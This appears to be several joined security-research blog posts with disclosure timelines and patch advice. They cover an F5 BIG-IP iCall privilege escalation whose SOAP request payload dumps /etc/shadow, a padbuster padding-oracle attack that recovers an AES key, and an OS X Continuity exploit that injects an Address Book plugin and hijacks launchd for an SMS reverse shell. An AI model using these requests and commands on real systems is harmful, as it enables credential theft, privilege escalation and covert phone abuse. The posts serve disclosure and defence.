Exploiting F5 iCall::Script Privilege Escalation (CVE-2015-3628)

Earlier this year GDS discovered a vulnerability in the F5 BIG-IP LTM product, that allows a user with limited access to the system to escalate his privileges and obtain highly privileged remote command execution on the device. This vulnerability was described in a previous post.

In this post we’ll show how to manually exploit the vulnerability. A Metasploit module to automate the process is also available - see for details. 


The issue was identified in the SOAP interface exposed by the devices at https://<host>/iControl/iControlPortal.cgi (a similar issue, although on a completely different function, was previously found in this same interface -  see CVE-2014-2928 for details). An attacker with valid credentials for the web interface and the “Resource Administrator” role can abuse the iCall SOAP functions to run arbitrary commands on the device with root privileges.

Using the iCall interface it’s possible to create and run management scripts, these are executed by a Tcl interpreter effectively running with root privileges.

See the F5 Security Advisory for a list of vulnerable versions.


The following steps demonstrate the attack by retrieving the “/etc/shadow” file, containing all password hashes from the device. However, it is possible to obtain a root command shell on the device using the same method.

For purpose of demonstration a user named “test” with the “Resource Administrator” role and password “default” has been created on the device. This user was defined without any shell access. 

The following HTTP POST request will create an iCall script on the device, the malicious payload exec /bin/sh -c “id>/var/local/ucs/file.ucs;cat /etc/shadow >>/var/local/ucs/file.ucs;chmod a+r /var/local/ucs/file.ucs” is highlighted in red.

The executed script does not return any output, however, the content of the shadow password file will be copied into a directory used to store configuration backups for the device. From here it is be possible to retrieve it using the web interface, as will be deomonstrated later. We’ll include also in the file the output from the “id” command, to show that the commands are executed as root.


POST /iControl/iControlPortal.cgi HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:iControl:iCall/Script
Content-Length: 866
Authorization: Basic dGVzdDpkZWZhdWx0=

<soapenv:Envelope xmlns:xsi="" xmlns:xsd="" xmlns:soapenv="" xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="">
<scr:create soapenv:encodingStyle="">
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"><item>exploit</item></scripts>
<definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"><item>exec /bin/sh -c "id>/var/local/ucs/file.ucs;cat /etc/shadow >>/var/local/ucs/file.ucs;chmod a+r /var/local/ucs/file.ucs" </item></definitions>


HTTP/1.1 200 OK
Date: Fri, 26 Jun 2015 14:30:32 GMT
Server: Apache
SOAPServer: EasySoap++/0.6
X-Frame-Options: SAMEORIGIN
Content-Type: text/xml; charset="UTF-8"
Content-Length: 428


To trigger execution of the script the iCall interface provides different types of handlers; in this case a PeriodicHandler will be used with the following request: 

POST /iControl/iControlPortal.cgi HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:iControl:iCall/PeriodicHandler
Content-Length: 923
Authorization: Basic dGVzdDpkZWZhdWx0=

<soapenv:Envelope xmlns:xsi="" xmlns:xsd="" xmlns:soapenv="" xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="">
<per:create soapenv:encodingStyle="">
<handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<intervals xsi:type="urn:Common.ULongSequence" soapenc:arrayType="xsd:long[]" xmlns:urn="urn:iControl">


HTTP/1.1 200 OK
Date: Fri, 26 Jun 2015 14:36:30 GMT
Server: Apache
Set-Cookie: BIGIPAuthCookie=E41B1D179BD9DBF88AF1FF43F2390E5ED6BD6199; path=/; Secure;
Set-Cookie: BIGIPAuthUsernameCookie=test; path=/; Secure;
SOAPServer: EasySoap++/0.6
X-Frame-Options: SAMEORIGIN
Content-Type: text/xml; charset="UTF-8"
Content-Length: 428


From this point the script will be executed every 30 seconds by the generated handler.

The output file can be retrieved by logging into the device and navigating to System->Archives, as shown in the following screenshots:





The downloaded file contains the output of the commands, as expected:

$ cat file.ucs
uid=0(root) gid=0(root) context=system_u:system_r:init_t



Apply vendor patches. If this is not feasible, review configuration for any accounts in the Resource Administrator role. Update the configuration to use provide the least privilege necessary while acknowledging the Resource Administrators have unconstrained privileges patches for this issue are applied.

Disclosure Timeline:

2015/04/07 - Vulnerability reported to the F5 Security Response Team.
2015/04/27 - F5 confirm vulnerability and affected versions.
2015/09/05 - F5 release version 12.0.0 which is not affected by this vulnerability.
2015/09/22 - F5 release 11.5.3 HF2 which resolves this issue.
2015/10/30 - F5 release 11.6.0 HF6 which resolves this issue.
2015/11/19 - Metasploit modue released.


Exploiting Padding Oracle to Gain Encryption Keys

I wanted to share some practical tricks on exploiting a padding oracle vulnerability. This type of vulnerability allows an attacker to decrypt ciphertexts and encrypt plaintexts. More information on what the padding oracle attack is and how it works can be found in a previous blog post by Brian Holyfield.

The example app used for this blog post has additional flaws that allow recovery of the encryption key. We will use padbuster to run a padding oracle attack and see how the python-paddingoracle library can be used to create a custom exploit tool. You can find the vulnerable example app on GitHub.

The application decrypts a request parameter named ‘cipher’.

# curl

decrypted: ApplicationUsername=user&Password=sesame

We know that AES-128 with PKCS#5 padding and the same static password for both the encryption key and initialisation vector are used to encrypt and decrypt this value. There is no HMAC or other message integrity check.

Simple padding oracle scenario

The keywords PKCS#5 and no MAC indicate that the application might be vulnerable to a padding oracle attack. By flipping bits in the first block we can verify that there are no syntax checks performed on the decrypted data. And we can see that the app happily processes the garbage data in the first block:


# curl

decrypted: �+�]7N�d�����N�me=user&Password=sesame

The next step is to check how the application reacts to incorrect padding. We can do this by flipping bits in the last block. It appears that the application returns ‘decryption error’ when the padding is incorrect.

# curl

decryption error

Now that we know that the application is vulnerable we can run padbuster to exploit it. I highly recommend reading Brian’s padbuster blog post and looking at the help output, but for convenience you can find the padbuster synopsis below:

padbuster URL EncryptedSample BlockSize [options]

In this scenario running padbuster is straightforward: The block size is 16 (16 bytes = 128 bits) and the only additional switch we need for now is -encoding 1 (lower case HEX).

# padbuster "" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1


| PadBuster - v0.3.3                        |

| Brian Holyfield - Gotham Digital Science  |

| [email protected]                      |


INFO: The original request returned the following

[+] Status: 200

[+] Location: N/A

[+] Content Length: 51

INFO: Starting PadBuster Decrypt Mode

*** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:


ID#    Freq    Status    Length    Location


1         1       200        42        N/A

2 **    255       200        16        N/A


Enter an ID that matches the error condition

NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (24/256) [Byte 16]

[+] Success: (165/256) [Byte 15]


Block 1 Results:

[+] Cipher Text (HEX): c59ca16e1f3645ef53cc6a4d9d87308e

[+] Intermediate Bytes (HEX): 2926e03c56d32edd338ffa923df059e9

[+] Plain Text: ame=user&Passwor

*** Starting Block 2 of 2 ***



** Finished ***

[+] Decrypted value (ASCII): ame=user&Password=sesame


Note that it was not possible possible to recover the first block. Looking at the block diagram for CBC decryption below helps to understand why. By leveraging the padding oracle it would be possible to obtain the intermediate value after decrypting the first block (-noiv option in padbuster). However, we don’t know the IV to calculate the plaintext for the first block.

Attentive readers might have realised already that knowing the plaintext allows us to calculate the IV, which is used as the encryption key. This is explained in more detail further down.

 To save time we could also specify the error string for invalid padding:

-error “decryption error”

A more complicated example

Now let’s look at a slightly more complicated scenario: The application does not return a dedicated error message for incorrect padding. Instead, the application parses the fields in the decrypted data and returns an error message if a required field is missing. In this case the required fields are ‘ApplicationUsername’ and ‘Password’.

Here is an example for a successful request: The ‘cipher’ parameter decrypts successfully and contains all required fields. The application responds with the decrypted value and all parsed fields.

# curl

decrypted: ApplicationUsername=user&Password=sesame

parsed: {'Password': ['sesame'], 'ApplicationUsername': ['user']}

If we send a request that only contains a ‘Password’ field the application responds with ‘ApplicationUsername missing’.

# curl

decrypted: Password=sesame

# curl

ApplicationUsername missing

In the case where the crypt value only contains an ‘ApplicationUsername’ field the application responds with ‘Password missing’.

# curl

decrypted: ApplicationUsername=user

# curl

Password missing

When tampering with the last block the padding becomes invalid. As a result the application is not able to decrypt the ‘cipher’ parameter and returns ‘ApplicationUsername missing’.

# curl

ApplicationUsername missing

Unfortunately, launching padbuster with minimal options fails: When it attempts to brute force the first block it always encounters the same error message (ApplicationUsername missing).

# padbuster "" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1  


ERROR: All of the responses were identical.

Double check the Block Size and try again.

But we can still leverage the order the application checks for the fields: It also returns ‘ApplicationUsername missing’ if the padding is invalid. We only need to prepend encrypted data that contains the ‘ApplicationUsername’ field: If the padding is correct then we get a different response. This way we can decrypt all but the first block.

In the example below the first two blocks of the ciphertext are prepended when performing the padding oracle attack. This is because the ‘ApplicationUsername’ field spans over two blocks (see Appendix).

# padbuster "" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e"


| PadBuster - v0.3.3                        |

| Brian Holyfield - Gotham Digital Science  |

| [email protected]                      |


INFO: The original request returned the following

[+] Status: 200

[+] Location: N/A

[+] Content Length: 117

INFO: Starting PadBuster Decrypt Mode

*** Starting Block 1 of 2 ***



** Finished ***

[+] Decrypted value (ASCII): ame=user&Password=sesame



We can also encrypt arbitrary content (Please refer to the original padbuster blog post on how this works behind the scenes). The only restriction is that it is not possible to control the first block. This is due to the static IV being used. The application would still accept the resulting ciphertext if we terminate the uncontrollable data of the first block with ‘=bla&’. Note that the crafted ciphertext does not have to have the same length as the original one.

# padbuster "" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -plaintext "=bla&ApplicationUsername=admin&Password=admin"


[+] Encrypted value is: 753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000


# curl

decrypted: ��_c�I�B�C���=bla&ApplicationUsername=admin&Password=admin

parsed: {'\xf7\xc1_c\x9e\x1cI\x9aB\xccC\x10\xac\x07\x90\x97': ['bla'], 'Password': ['admin'], 'ApplicationUsername': ['admin']}

Obtaining the key

Being able to decrypt and craft the ‘cipher’ parameter would be bad enough, but setting the IV to the encryption key introduces another vulnerability: The IV (and therefore the encryption key) is the plain text of the first block XORed with the intermediate value from decrypting the first block (see block diagram below).

We can assume that an attacker could guess the plain text based on the specification, and the decrypted part from the padding oracle attack or messages displayed by the application.


Using padbuster’s -noiv switch we are able to get the intermediate value after decrypting the first block:

# padbuster "" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -noiv             


Block 1 Results:

[+] Cipher Text (HEX): 484b850123a04baf15df9be14e87369b

[+] Intermediate Bytes (HEX): 7141425f5d56574351562f1730213728


Once we have obtained the intermediate value we can XOR it with the plaintext to obtain the encryption key:


0x4170706c69636174696f6e557365726e (plaintext ‘ApplicationUsern’)
0x7141425f5d56574351562f1730213728 (intermediate value)
0x30313233343536373839414243444546 (key ‘0123456789ABCDEF’)


Custom Python script

The python-paddingoracle library allows us to create a custom exploit tool for situations where padbuster is not flexible enough. For example, when the target application uses CSRF tokens or when testing web services.

Two Python scripts that exploit our example web application can be found on GitHub. The first script ‘’ is targeted for the straightforward scenario. Exploiting the more advanced scenario, which requires a prefixed ciphertext has been implemented in ‘’. This script also demonstrates how to encrypt a plaintext and calculate the key.

A few additional notes

The Bit flipper payload in the Intruder module of the Burp Proxy is great to see how an application handles encrypted values. You should get suspicious if it accepts some tampered payloads or returns different error messages. This would usually happen if there is no MAC.

Encryption without MAC should be considered a finding regardless of any padding oracle. Because of the way CBC works we can always tamper with encrypted values.

Prepending another ciphertext in padbuster can come in handy in other situations as well: The application could have an id within the encrypted fields to detect tampering (similar to a nonce). By prepending a mangled block we can stop the application from recognising the id for the current cipher field.

For the sake of convenience the sample app also has a feature to encrypt arbitrary data:

# curl

crypted: 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

Appendix: Ciphertext blocks

Block 1:

Block 2:

Block 3:


Reverse shell over SMS (Exploiting CVE-2015-5897)

In our previous post, we looked at a bug that allowed malware running on OS X to make calls on a user's iPhone without their knowledge. Apple released a patch to fix this bug in OS X 10.10.5 by adding a check for an entitlement that could only be granted by Apple. This was easily bypassed with root access by injecting code to disable the entitlement check. In this post, we'll take a look at another bug that allowed bypassing the entitlement check without root.

For those that'd like to skip directly to the exploit code, it's available on our Github repo in the SMShell directory.

Our goal is to somehow get code running inside FaceTime (since it has the entitlement) or callservicesd (since it checks for the entitlement). callservicesd is the more interesting target, since it's got entitlements of its own that may be useful later. It turns out we can cause callservicesd to load code we control, thanks to Address Book plugins and a little help from the OS X sandbox.

At a high level, it works like this:
  • callservicesd uses the AddressBook framework
  • The AddressBook framework contains a method 'debugPluginPaths' which uses the environment variable AB_PLUGIN_PATH to add paths that will be searched for plugins.
  • It's normally not possible to use this variable to "hijack" existing plugins, as the "official" plugins in /System/Library/Address Book Plug-Ins/ are processed last, overwriting any user supplied plugins in AB_PLUGIN_PATH.
  • By using sandbox-exec to launch callservicesd with a profile that blocks access to a specific plugin in /System/Library/Address Book Plug-Ins/, it is possible to work around this limitation and supply a replacement user controlled plugin which will run inside the address space of callservicesd.
  • Once this is done, the 'valueForEntitlement:' method is swizzled and replaced with a method that simply returns 'true'.
  • This bypasses the check for the entitlement, allowing the original exploit for CVE-2015-3785 to work again.
If we attach lldb to callservicesd and look at 'image list', there are a few things that look interesting:
[245] 6951F277-550F-3E43-B116-F45F833D0310 0x0000000106fea000 /System/Library/Address Book Plug-Ins/LocalSource.sourcebundle/Contents/MacOS/LocalSource
[246] 2B7D94E1-8B6F-382C-BA78-7928F09C309A 0x0000000106fef000 /System/Library/Address Book Plug-Ins/DirectoryServices.sourcebundle/Contents/MacOS/DirectoryServices
[247] 1DDCFA21-F20A-32BA-91C4-41354D7DA44D 0x000000010999b000 /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle/Contents/MacOS/POIPlugin
If callservicesd is loading Address Book plugins, maybe it'll also load user plugins that are placed in ~/Library/Address Book Plug-Ins? Unfortunately it's not that simple. callservicesd won't load anything placed in that directory, even copies of the plugins from /System/Library/Address Book Plug-Ins/. In addition, it's not loading everything in /System/Library/Address Book Plug-Ins/ - only those 3 plugins. A bit of investigation shows that on startup, the AddressBook framework loads plugins that implement certain classes as indicated by the NSPrincipalClass key in the plugin's Info.plist. The plugins correspond to different type of account "sources", so presumably if one had an Exchange or CardDAV account configured on the system those plugins would load as well.

This means that unless a non-root user can somehow get a plugin into that directory that implements one of these classes, this seems to be a dead end. However, a closer look at the AddressBook framework reveals another avenue that may do exactly what we want.

While looking for anything plugin related in AddressBook.framework, the following string in the binary immediately jumps out:


Could it really be that easy? Is this an environment variable that controls where plugins are loaded from? Yes and no. AddressBook won't blindly load plugins placed into AB_PLUGIN_PATH, but what if we try a plugin with an NSPrincipalClass of a system plugin we know will be loaded? We'll use 'ABPointOfInterestSource', which is currently provided by /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle/.
$ tail -4 /tmp/injectab.sourcebundle/Contents/Info.plist
$ AB_PLUGIN_PATH=/tmp lldb /System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd
(lldb) target create “/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd”
Current executable set to ‘/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd’ (x86_64).
(lldb) r
Process 70176 launched: ‘/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd’ (x86_64)
2015-09-07 18:00:25.054 callservicesd[70176:19289423] Failed to get the bundle id
Process 70176 stopped
* thread #1: tid = 0x126554f, 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10, queue = ‘’, stop reason = signal SIGSTOP
    frame #0: 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10
->  0x7fff8f3494de <+10>: retq
    0x7fff8f3494df <+11>: nop

    0x7fff8f3494e0 <+0>:  movq   %rcx, %r10
    0x7fff8f3494e3 <+3>:  movl   $0x1000020, %eax
(lldb) image list injectab
error: no modules found that match ‘injectab’
(lldb) image list POIPlugin
[  0] 1DDCFA21-F20A-32BA-91C4-41354D7DA44D 0x00000001005e0000 /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle/Contents/MacOS/POIPlugin
Our ‘injectab’ plugin in /tmp still didn’t load. What happens if we cheat for a second, and move the original POIPlugin out of the way so it isn’t loaded?
$ sudo mv /System/Library/Address\ Book\ Plug-Ins/POIPlugin.sourcebundle ~
$ AB_PLUGIN_PATH=/tmp lldb /System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd
(lldb) target create "/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd"
Current executable set to '/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd' (x86_64).
(lldb) r
Process 70220 launched: '/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd' (x86_64)
2015-09-07 18:06:51.951 callservicesd[70220:19297629] +[ABPointOfInterestSource persistenceWithUID:path:]: unrecognized selector sent to class 0x1000fe230
2015-09-07 18:06:51.952 callservicesd[70220:19297629] Couldn`t init moc: +[ABPointOfInterestSource persistenceWithUID:path:]: unrecognized selector sent to class 0x1000fe230
2015-09-07 18:06:51.952 callservicesd[70220:19297629] Could not initialize the shared address book
2015-09-07 18:06:52.202 callservicesd[70220:19297629] Failed to get the bundle id
Process 70220 stopped
* thread #1: tid = 0x126755d, 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10, queue = '', stop reason = signal SIGSTOP
    frame #0: 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10
->  0x7fff8f3494de <+10>: retq
    0x7fff8f3494df <+11>: nop

    0x7fff8f3494e0 <+0>:  movq   %rcx, %r10
    0x7fff8f3494e3 <+3>:  movl   $0x1000020, %eax
(lldb) image list injectab
[  0] A99FBAF2-B1B0-3169-BB47-1B221CBDC62B 0x00000001000fd000 /tmp/injectab.sourcebundle/Contents/MacOS/injectab
(lldb) image list POIPlugin
error: no modules found that match 'POIPlugin'
This time our ‘injectab’ plugin successfully loads into callservicesd. This means that it’s possible to load plugins from AB_PLUGIN_PATH, but the ones in /System/Library/Address Book Plug-Ins/ take precedence. In pseudo-objc, it roughly looks like this:
-[ABDataSourcePluginIndex indexPlugins]
    for (plugin in AB_PLUGIN_PATH,/System/Library/Address Book Plug-Ins/)
        if (plugin.NSPrincipalClass)
            plugins[file.NSPrincipalClass] = plugin.path;
indexPlugins builds a hash of plugins keyed on NSPrincipalClass by iterating files in AB_PLUGIN_PATH first, followed by /System/Library/AddressBookPlugins which will overwrite any existing values.

If we can cause the if statement above to return false while reading one or more system plugins, we can inject our plugin by “borrowing” its NSPrincipalClass.

The Sandbox
sandbox-exec is a command line utility included with OS X that allows you to, as the name might suggest, execute commands within a sandbox profile. If we run callservicesd inside a profile that denies it read access to a system plugin, the if statement will fail and our plugin should load instead. This trick only works on processes that aren’t already sandboxed, and luckily callservicesd is not. This is a fun example of turning a security feature against the system it’s designed to protect. Lets give it a shot:
$ ls -ld /System/Library/Address\ Book\ Plug-Ins/POIPlugin.sourcebundle/ /tmp/injectab.sourcebundle/
drwxr-xr-x  3 root  wheel  102 Sep 12  2014 /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle/
drwxr-xr-x  3 dbastone   wheel  102 Sep  4 17:47 /tmp/injectab.sourcebundle/
$ AB_PLUGIN_PATH=/tmp lldb -- /usr/bin/sandbox-exec -p'(version 1)(allow default)(deny file-read* (regex #"^/System/Library/Address Book Plug-Ins/POI*"))' /System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd
(lldb) target create "/usr/bin/sandbox-exec"
Current executable set to '/usr/bin/sandbox-exec' (x86_64).
(lldb) settings set --  '-p(version 1)(allow default)(deny file-read* (regex #"^/System/Library/Address Book Plug-Ins/POI*"))' "/System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd"
(lldb) process launch
Process 70395 launched: '/usr/bin/sandbox-exec' (x86_64)
Process 70395 stopped
* thread #1: tid = 0x126ddb1, 0x00007fff5fc01000 dyld`_dyld_start, stop reason = exec
    frame #0: 0x00007fff5fc01000 dyld`_dyld_start
->  0x7fff5fc01000 <+0>: popq   %rdi
    0x7fff5fc01001 <+1>: pushq  $0x0
    0x7fff5fc01003 <+3>: movq   %rsp, %rbp
    0x7fff5fc01006 <+6>: andq   $-0x10, %rsp
(lldb) c
Process 70395 resuming
2015-09-07 18:43:36.620 callservicesd[70395:19324337] NSPrincipalClass for bundle not found: /System/Library/Address Book Plug-Ins/POIPlugin.sourcebundle
2015-09-07 18:43:36.632 callservicesd[70395:19324337] entitlement checks bypassed
2015-09-07 18:43:36.632 callservicesd[70395:19324337] +[ABPointOfInterestSource persistenceWithUID:path:]: unrecognized selector sent to class 0x1000fe230
2015-09-07 18:43:36.632 callservicesd[70395:19324337] Couldn`t init moc: +[ABPointOfInterestSource persistenceWithUID:path:]: unrecognized selector sent to class 0x1000fe230
2015-09-07 18:43:36.632 callservicesd[70395:19324337] Could not initialize the shared address book
2015-09-07 18:43:36.854 callservicesd[70395:19324337] Failed to get the bundle id
Process 70395 stopped
* thread #1: tid = 0x126ddb1, 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10, queue = '', stop reason = signal SIGSTOP
    frame #0: 0x00007fff8f3494de libsystem_kernel.dylib`mach_msg_trap + 10
->  0x7fff8f3494de <+10>: retq
    0x7fff8f3494df <+11>: nop

    0x7fff8f3494e0 <+0>:  movq   %rcx, %r10
    0x7fff8f3494e3 <+3>:  movl   $0x1000020, %eax
(lldb) image list injectab
[  0] A99FBAF2-B1B0-3169-BB47-1B221CBDC62B 0x00000001000fd000 /tmp/injectab.sourcebundle/Contents/MacOS/injectab
(lldb) image list POIPlugin
error: no modules found that match 'POIPlugin'
It worked! Our plugin code is now loaded into callservicesd without requiring root. We can now swizzle the valueForEntitlement method as shown earlier, and the original exploit will work again. Almost.

callservicesd is meant to be started by launchd when it receives relevant requests for XPC services. If we start it manually using our custom environment and sandbox-exec, launchd still starts its own “clean” copy which ends up servicing the XPC requests itself.

To handle this, we’ll simply unload the system’s callservicesd plist and replace it with a modified version that sets AB_PLUGIN_PATH and invokes sandbox-exec.
$ diff -u /System/Library/LaunchAgents/ csd_launchd.plist
--- /System/Library/LaunchAgents/    2015-02-26 03:23:52.000000000 -0500
+++ csd_launchd.plist    2015-09-07 17:44:48.000000000 -0400
@@ -8,6 +8,8 @@
+        <key>AB_PLUGIN_PATH</key>
+        <string>/tmp</string>
@@ -56,6 +58,9 @@
+        <string>/usr/bin/sandbox-exec</string>
+        <string>-p</string>
+        <string>(version 1)(allow default)(deny file-read* (regex #"^/System/Library/Address Book Plug-Ins/POI*"))</string>
$ launchctl unload /System/Library/LaunchAgents/
$ launchctl load csd_launchd.plist
$ killall callservicesd
Now that we’ve got code running inside callservicesd, some new possibilities open up. We no longer need to use XPC to communicate with callservicesd, since we can invoke methods directly. Our code also now runs with all of the entitlements of callservicesd.

Remember the entitlement that imagent checked for earlier, preventing us from sending SMS? It just so happens that callservicesd has it. Our injected plugin code is thus free to communicate with imagent and send SMS messages to arbitrary phone numbers.

A short proof of concept is available in the SMShell directory. This code routes a bash shell over SMS via a user’s paired iPhone, without requiring root access on OS X 10.10.5 and below. Because SMS is used, this shell will bypass any IP based network filtering in use.

Apple’s Fixes
In OS X 10.11, the debugPluginPaths implementation now returns an empty object and all references to AB_PLUGIN_PATH have been removed.

Additionally, Session Integrity Protection prevents these injection attacks from being performed as root.

Apple OS X 10.10 Security Disclosure (CVE-2015-3785, CVE-2015-5897)

Affected Software: Mac OS X 10.10 - 10.10.5, iOS 8+ (Continuity feature)

Gotham Digital Science has discovered a vulnerability affecting the phone dialing and SMS integration of the Continuity feature set introduced in OS X 10.10 and iOS 8. Prior to the release of OS X 10.11, it was possible for malware or other malicious code executing on an OS X system to initiate phone calls and send SMS messages via a user’s iPhone without the user’s knowledge and without requiring root access, even if the user’s iPhone was locked.

CVE-2015-3785 was discovered during independent research conducted by GDS into Continuity.
CVE-2015-5897 was discovered during testing of Apple's fix for CVE-2015-3785.

Example code is available on our Github repo:
Apple security advisory:
Issue Timeline
5/25/15 - CVE-2015-3785 disclosed to Apple
5/26/15 - Apple acknowledges report
7/15/15 - Apple confirms issue, fix slated for OS X 10.10.5
7/20/15 - Apple indicates that fix is present in 10.10.5 beta
8/07/15 - CVE-2015-5897 disclosed to Apple allowing bypass of fix for CVE-2015-3785
8/11/15 - Apple confirms new vulnerability, requests delay of public disclosure
8/13/15 - OS X 10.10.5 releases with undisclosed fix for CVE-2015-3785
9/30/15 - OS X 10.11 releases with fix for CVE-2015-5897, GDS/Apple public disclosure

Issue Description
This post primarily deals with CVE-2015-3785. A follow up post will examine the details of CVE-2015-5897.

When an OS X system and an iPhone have been properly configured, Continuity allows phone calls and SMS messages to be placed and received on OS X and routed through the iPhone using the mobile carrier’s network. This process is managed in part by the ‘callservicesd’ and 'imagent' daemons running on OS X, which expose XPC endpoints used by the FaceTime and Messages applications to place and answer calls/SMSes, obtain call status, and provide related functionality.

The user is not required to authenticate prior to using these functions, making it possible for malicious code executing on an OS X system to place calls or send SMS messages without the user’s knowledge by communicating directly with the daemons, bypassing the FaceTime or Messages UI. This also bypasses the ‘iPhone Cellular Calls’ FaceTime Preference on OS X, allowing calls to be placed even if this option is disabled. In-call audio is routed between OS X and the iPhone by default, but may optionally be disabled, or kept entirely on the iPhone and not routed to the affected OS X system.

  • Malware or exploit “shellcode” running on an OS X system that silently dials international or premium-rate phone numbers through a user’s iPhone, potentially incurring significant phone charges. This type of malware was prevalent during the dialup modem era, and again in recent years on Android devices.
  • The audio channel may be used to eavesdrop on an affected system, either through the OS X or iOS system’s microphone. In this scenario, malware running on an OS X system would silently dial a call causing the audio to be delivered to an attacker over the mobile carrier’s voice network, establishing a “covert channel” and bypassing any IP-based data loss prevention strategies. A fully functional proof of concept of this scenario is provided at the end of this post, including audio recording and transcription.
  • Data can be exfiltrated from an affected system using SMS, or by using a “softmodem” in a manner similar to that described in A New Covert Channel over Cellular Voice Channel in Smartphones. In this case however the modulation would be performed on the OS X system itself, as opposed to the Android device used in the referenced publication. Data transmitted in this manner would also travel over the mobile network, evading all IP-based filtering.
  • Special numbers beginning with *# that are used for iPhone configuration purposes can be silently dialed, giving malicious code the ability to alter a user’s voicemail access number, SMSC, call forwarding settings, and further similar options. This potentially enables interception of voice or SMS traffic by redirecting to attacker-controlled services.
Affected users should upgrade to OS X 10.11, which fixes both vulnerabilities. Apple has indicated that they will not be fixing this issue in OS X 10.10. Users running 10.10 should disable the “FaceTime->iPhone Cellular Calls” setting on their iPhone to protect against these issues. Note that disabling the equivalent setting on OS X is not effective.

This vulnerability is the most recent incarnation of an issue that first surfaced approximately 20 years ago on Windows desktops. Malware existed in the ’90s, but it was (for the most part) more benign than the malware of today. Your hard drive might have been wiped, but your bank accounts wouldn’t be emptied and your centrifuges would continue to operate within their recommended tolerances. Simpler times!

During this ancient era, land line dialup modems were the only way for most home users to access the Internet. Under normal circumstances, your modem would dial your ISP’s local phone number, establish a connection, authenticate, and set up a PPP (or similar) connection giving you an IP address and access to the Internet. On Windows systems, this was all handled by the Remote Access Service (RAS) APIs. These APIs are still used on Windows today, primarily for establishing VPN connections.

As Internet use became more widespread, “dialers” emerged as one of the first classes of malware that caused direct and often significant financial harm to users. Malware authors began using the RAS APIs to reconnect a user’s modem to expensive international or premium rate Internet access numbers, often times done without the user’s knowledge by disabling the modem speaker.

Some examples of this style of malware:

This type of malware mostly died out along with dialup, but has occasionally popped up again whenever a new platform/OS gives code the ability to control a phone. The 2010 presentation Dialers are Back! by Mikko Hypponen of F-Secure gives a good overview of “modern” smartphone dialer malware. Over the years this issue has affected Symbian, J2ME, and most recently Android.

With the release of OS X 10.10, Apple has joined the list.

The walkthrough below covers the following major topics:
  • How this issue was discovered and exploited
  • Apple’s first fix (released in 10.10.5)
  • A bypass for the fix that enables the original exploit to work again if root access is available
In part two of this post, we’ll cover the following:
  • An additional bug that allows bypassing Apple’s fix without root
  • Apple’s second fix (released in 10.11)
Once Continuity is configured, the FaceTime app on your Mac is used to place & receive calls through your phone. It works without any prompts for authentication, and the phone remains locked during the call. If the phone was already unlocked, or unlocked during the call, you’ll see a green ‘Touch to return to call’ banner at the top of the UI.

Our goal is to mimic FaceTime and make a call using the iPhone, but without displaying any UI. We’ll start by taking a look at the FaceTime binary to see if we can figure out how it’s communicating with the iPhone. First, we’ll look at the frameworks it uses and see if we can find anything phone or dialing related.
$ otool -L /Applications/

    /System/Library/PrivateFrameworks/PhoneNumbers.framework/Versions/A/PhoneNumbers (compatibility version 1.0.0, current version 47.0.0)

    /System/Library/PrivateFrameworks/CommunicationsFilter.framework/Versions/A/CommunicationsFilter (compatibility version 1.0.0, current version 800.0.0)

    /System/Library/PrivateFrameworks/TelephonyUtilities.framework/Versions/A/TelephonyUtilities (compatibility version 1.0.0, current version 1.0.0)
These 3 look promising. We’ll take a closer look at TelephonyUtilities by dumping its classes and looking for interesting class or method names like ‘dial’ or ‘call’.
